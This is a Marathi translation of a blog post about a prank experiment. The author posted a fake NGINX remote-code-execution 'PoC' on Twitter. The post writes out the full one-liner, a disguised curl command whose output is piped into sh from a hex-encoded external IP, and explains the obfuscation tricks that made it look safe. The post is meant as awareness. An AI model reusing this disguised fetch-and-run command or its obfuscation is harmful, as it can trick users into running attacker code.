बनावट nginx शोषणासह सामाजिक प्रयोगाचे यश

नोंद. अनुवाद: लेखक 1 जून रोजी प्रकाशित झालेल्या मूळ नोटने माहिती सुरक्षिततेमध्ये स्वारस्य असलेल्यांमध्ये एक प्रयोग करण्याचे ठरवले. हे करण्यासाठी, त्याने वेब सर्व्हरमध्ये अज्ञात असुरक्षिततेसाठी बनावट शोषण तयार केले आणि ते त्याच्या ट्विटरवर पोस्ट केले. त्याचे गृहितक - तत्काळ तज्ञांद्वारे उघड करणे जे कोडमध्ये स्पष्ट फसवणूक पाहतील - केवळ खरे ठरले नाहीत... त्यांनी सर्व अपेक्षा ओलांडल्या, आणि उलट दिशेने: ट्विटला असंख्य लोकांकडून मोठा पाठिंबा मिळाला ज्यांनी हे केले नाही. त्यातील सामग्री तपासा.

TL;DR: कोणत्याही परिस्थितीत sh किंवा bash मध्ये फाइल पाइपलाइनिंग वापरू नका. आपल्या संगणकावरील नियंत्रण गमावण्याचा हा एक चांगला मार्ग आहे.

31 मे रोजी तयार केलेल्या कॉमिक PoC शोषणाची एक छोटी कथा मला तुमच्यासोबत शेअर करायची आहे. कडून आलेल्या बातम्यांना प्रतिसाद देत तो तातडीने हजर झाला अलिसा एसेज शेवचेन्को, सदस्य झिरो डे इनिशिएटिव्ह (ZDI), NGINX मधील असुरक्षा RCE (रिमोट कोड एक्झिक्युशन) बद्दलची माहिती लवकरच उघड केली जाईल. एनजीआयएनएक्स अनेक वेबसाइट्सना सामर्थ्य देत असल्याने, ही बातमी बॉम्बशेल असावी. परंतु "जबाबदार प्रकटीकरण" प्रक्रियेत विलंब झाल्यामुळे, काय घडले याचे तपशील माहित नव्हते - ही मानक ZDI प्रक्रिया आहे.

ट्विट NGINX मध्ये भेद्यता प्रकटीकरण बद्दल

कर्लमध्ये नवीन अस्पष्टीकरण तंत्रावर काम पूर्ण केल्यावर, मी मूळ ट्विट उद्धृत केले आणि शोधलेल्या भेद्यतेचा गैरफायदा घेणार्‍या कोडच्या एका ओळीचा समावेश असलेले “कार्यरत PoC लीक केले”. अर्थात हा पूर्ण मूर्खपणा होता. मी असे गृहीत धरले की मी ताबडतोब उघडकीस येईन, आणि सर्वोत्तम मला दोन रीट्विट्स मिळतील (ओह चांगले).

ट्विट बनावट शोषण सह

मात्र, पुढे काय झाले याची कल्पनाच करता येत नव्हती. माझ्या ट्विटची लोकप्रियता गगनाला भिडली. आश्चर्याची गोष्ट म्हणजे, या क्षणी (15:00 मॉस्को वेळ 1 जून) काही लोकांना हे समजले आहे की हे बनावट आहे. बरेच लोक ते अजिबात न तपासता रिट्विट करतात (आऊटपुट केलेल्या सुंदर ASCII ग्राफिक्सची प्रशंसा करू द्या).

फक्त ते किती सुंदर आहे ते पहा!

हे सर्व लूप आणि रंग छान आहेत, हे स्पष्ट आहे की लोकांना ते पाहण्यासाठी त्यांच्या मशीनवर कोड चालवावा लागला. सुदैवाने, ब्राउझर तशाच प्रकारे कार्य करतात आणि मला खरोखर कायदेशीर अडचणीत पडायचे नव्हते या वस्तुस्थितीसह, माझ्या साइटवर पुरलेला कोड कोणताही अतिरिक्त कोड स्थापित किंवा कार्यान्वित करण्याचा प्रयत्न न करता फक्त इको कॉल करत होता.

लहान विषयांतर: नेटस्पूकी, म्हणजेच, मी आणि संघातील इतर मुले गुंडांची गर्दी आम्ही काही काळ कर्ल कमांड्स अस्पष्ट करण्यासाठी वेगवेगळ्या मार्गांनी खेळत आहोत कारण ते छान आहे... आणि आम्ही गीक्स आहोत. netspooky आणि dnz ने अनेक नवीन पद्धती शोधल्या ज्या मला अत्यंत आशादायक वाटल्या. मी मजेत सामील झालो आणि युक्त्यांच्या बॅगमध्ये IP दशांश रूपांतरणे जोडण्याचा प्रयत्न केला. असे दिसून आले की आयपी हेक्साडेसिमल स्वरूपात रूपांतरित केले जाऊ शकते. शिवाय, कर्ल आणि इतर NIX साधने आनंदाने हेक्साडेसिमल आयपी खातात! त्यामुळे एक खात्रीशीर आणि सुरक्षित दिसणारी कमांड लाइन तयार करण्याची ही बाब होती. शेवटी मी यावर सेटल झालो:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

सामाजिक-इलेक्ट्रॉनिक अभियांत्रिकी (SEE) - फक्त फिशिंगपेक्षा अधिक

सुरक्षितता आणि परिचितता हा या प्रयोगाचा प्रमुख भाग होता. मला वाटते की तेच त्याच्या यशाचे नेतृत्व करतात. कमांड लाइन स्पष्टपणे "127.0.0.1" (सुप्रसिद्ध लोकलहोस्ट) चा संदर्भ देऊन सुरक्षितता सूचित करते. लोकलहोस्ट सुरक्षित मानला जातो आणि त्यावरील डेटा कधीही आपल्या संगणकावर जात नाही.

परिचय हा प्रयोगाचा दुसरा प्रमुख SEE घटक होता. लक्ष्यित प्रेक्षक प्रामुख्याने संगणक सुरक्षिततेच्या मूलभूत गोष्टींशी परिचित असलेल्या लोकांचा समावेश असल्याने, कोड तयार करणे महत्त्वाचे होते जेणेकरून त्यातील काही भाग परिचित आणि परिचित वाटतील (आणि म्हणून सुरक्षित). जुन्या शोषण संकल्पनांचे घटक उधार घेणे आणि त्यांना असामान्य पद्धतीने एकत्र करणे खूप यशस्वी ठरले आहे.

खाली वन-लाइनरचे तपशीलवार विश्लेषण आहे. या यादीतील प्रत्येक गोष्ट परिधान करते कॉस्मेटिक निसर्ग, आणि त्याच्या वास्तविक ऑपरेशनसाठी व्यावहारिकदृष्ट्या काहीही आवश्यक नाही.

कोणते घटक खरोखर आवश्यक आहेत? या -gsS, -O 0x0238f06a, |sh आणि वेब सर्व्हर स्वतः. वेब सर्व्हरमध्ये कोणतीही दुर्भावनापूर्ण सूचना नव्हती, परंतु फक्त कमांड वापरून ASCII ग्राफिक्स दिले echo मध्ये समाविष्ट असलेल्या स्क्रिप्टमध्ये index.html. वापरकर्त्याने सह एक ओळ प्रविष्ट केली तेव्हा |sh मध्ये, index.html लोड केले आणि अंमलात आणले. सुदैवाने, वेब सर्व्हरच्या संरक्षकांचा कोणताही वाईट हेतू नव्हता.

• ../../../%00 — निर्देशिकेच्या पलीकडे जाण्याचे प्रतिनिधित्व करते;
• ngx_stream_module.so — यादृच्छिक NGINX मॉड्यूलचा मार्ग;
• /bin/sh%00<'protocol:TCP' - आम्ही कथितपणे लॉन्च करत आहोत /bin/sh लक्ष्य मशीनवर आणि आउटपुट TCP चॅनेलवर पुनर्निर्देशित करा;
• -O 0x0238f06a#PLToffset - गुप्त घटक, पूरक #PLToffset, PLT मध्ये समाविष्ट असलेल्या मेमरी ऑफसेटसारखे दिसण्यासाठी;
• |sh; - आणखी एक महत्त्वाचा तुकडा. येथे स्थित अटॅकिंग वेब सर्व्हरवरून येणारा कोड कार्यान्वित करण्यासाठी आम्हाला आउटपुट sh/bash वर पुनर्निर्देशित करणे आवश्यक आहे. 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - एक डमी ज्यामध्ये नेटकॅटचा संदर्भ आहे /dev/tcp/localhostजेणेकरून सर्वकाही पुन्हा सुरक्षित दिसेल. खरं तर, ते काहीही करत नाही आणि सौंदर्यासाठी ओळीत समाविष्ट आहे.

हे एक-लाइन स्क्रिप्टचे डीकोडिंग आणि "सोशियो-इलेक्ट्रॉनिक इंजिनिअरिंग" (क्लिष्ट फिशिंग) च्या पैलूंच्या चर्चेचा निष्कर्ष काढते.

वेब सर्व्हर कॉन्फिगरेशन आणि काउंटरमेजर्स

माझे बहुसंख्य सदस्य इन्फोसेक/हॅकर्स असल्याने, मी वेब सर्व्हरला त्यांच्याकडून "स्वारस्य" च्या अभिव्यक्तींना थोडे अधिक प्रतिरोधक बनविण्याचा निर्णय घेतला, जेणेकरून त्या मुलांनी काहीतरी करावे (आणि ते मजेदार असेल. सेट करा). प्रयोग अजूनही चालू असल्याने मी येथे सर्व त्रुटींची यादी करणार नाही, परंतु सर्व्हर करत असलेल्या काही गोष्टी येथे आहेत:

• काही सोशल नेटवर्क्सवर वितरणाच्या प्रयत्नांचे सक्रियपणे निरीक्षण करते आणि वापरकर्त्याला लिंकवर क्लिक करण्यास प्रोत्साहित करण्यासाठी विविध पूर्वावलोकन लघुप्रतिमा बदलते.
• शेल स्क्रिप्ट दाखवण्याऐवजी Chrome/Mozilla/Safari/etc ला Thugcrowd प्रचारात्मक व्हिडिओवर पुनर्निर्देशित करते.
• घुसखोरी/निंदनीय हॅकिंगच्या स्पष्ट चिन्हे पाहतो आणि नंतर NSA सर्व्हरकडे विनंत्या पुनर्निर्देशित करण्यास सुरुवात करतो (ha!).
• सर्व संगणकांवर ट्रोजन तसेच BIOS रूटकिट स्थापित करते ज्यांचे वापरकर्ते नियमित ब्राउझरवरून होस्टला भेट देतात (फक्त गंमत!).

antimers एक लहान भाग

या प्रकरणात, अपाचेच्या काही वैशिष्ट्यांवर प्रभुत्व मिळवणे हे माझे एकमेव ध्येय होते - विशेषतः, विनंत्या पुनर्निर्देशित करण्यासाठी छान नियम - आणि मी विचार केला: का नाही?

NGINX शोषण (वास्तविक!)

याची सदस्यता घ्या @alisaesage Twitter वर आणि NGINX मधील खर्‍या असुरक्षा आणि संधींचा फायदा घेण्यासाठी ZDI च्या महान कार्याचे अनुसरण करा. त्यांच्या कार्याने मला नेहमीच भुरळ घातली आहे आणि माझ्या मूर्ख ट्विटमुळे सर्व उल्लेख आणि सूचनांसह तिने संयम बाळगल्याबद्दल मी अॅलिसचा आभारी आहे. सुदैवाने, याने काही चांगले केले: यामुळे NGINX असुरक्षा, तसेच कर्लच्या गैरवापरामुळे उद्भवलेल्या समस्यांबद्दल जागरूकता वाढविण्यात मदत झाली.

स्त्रोत: www.habr.com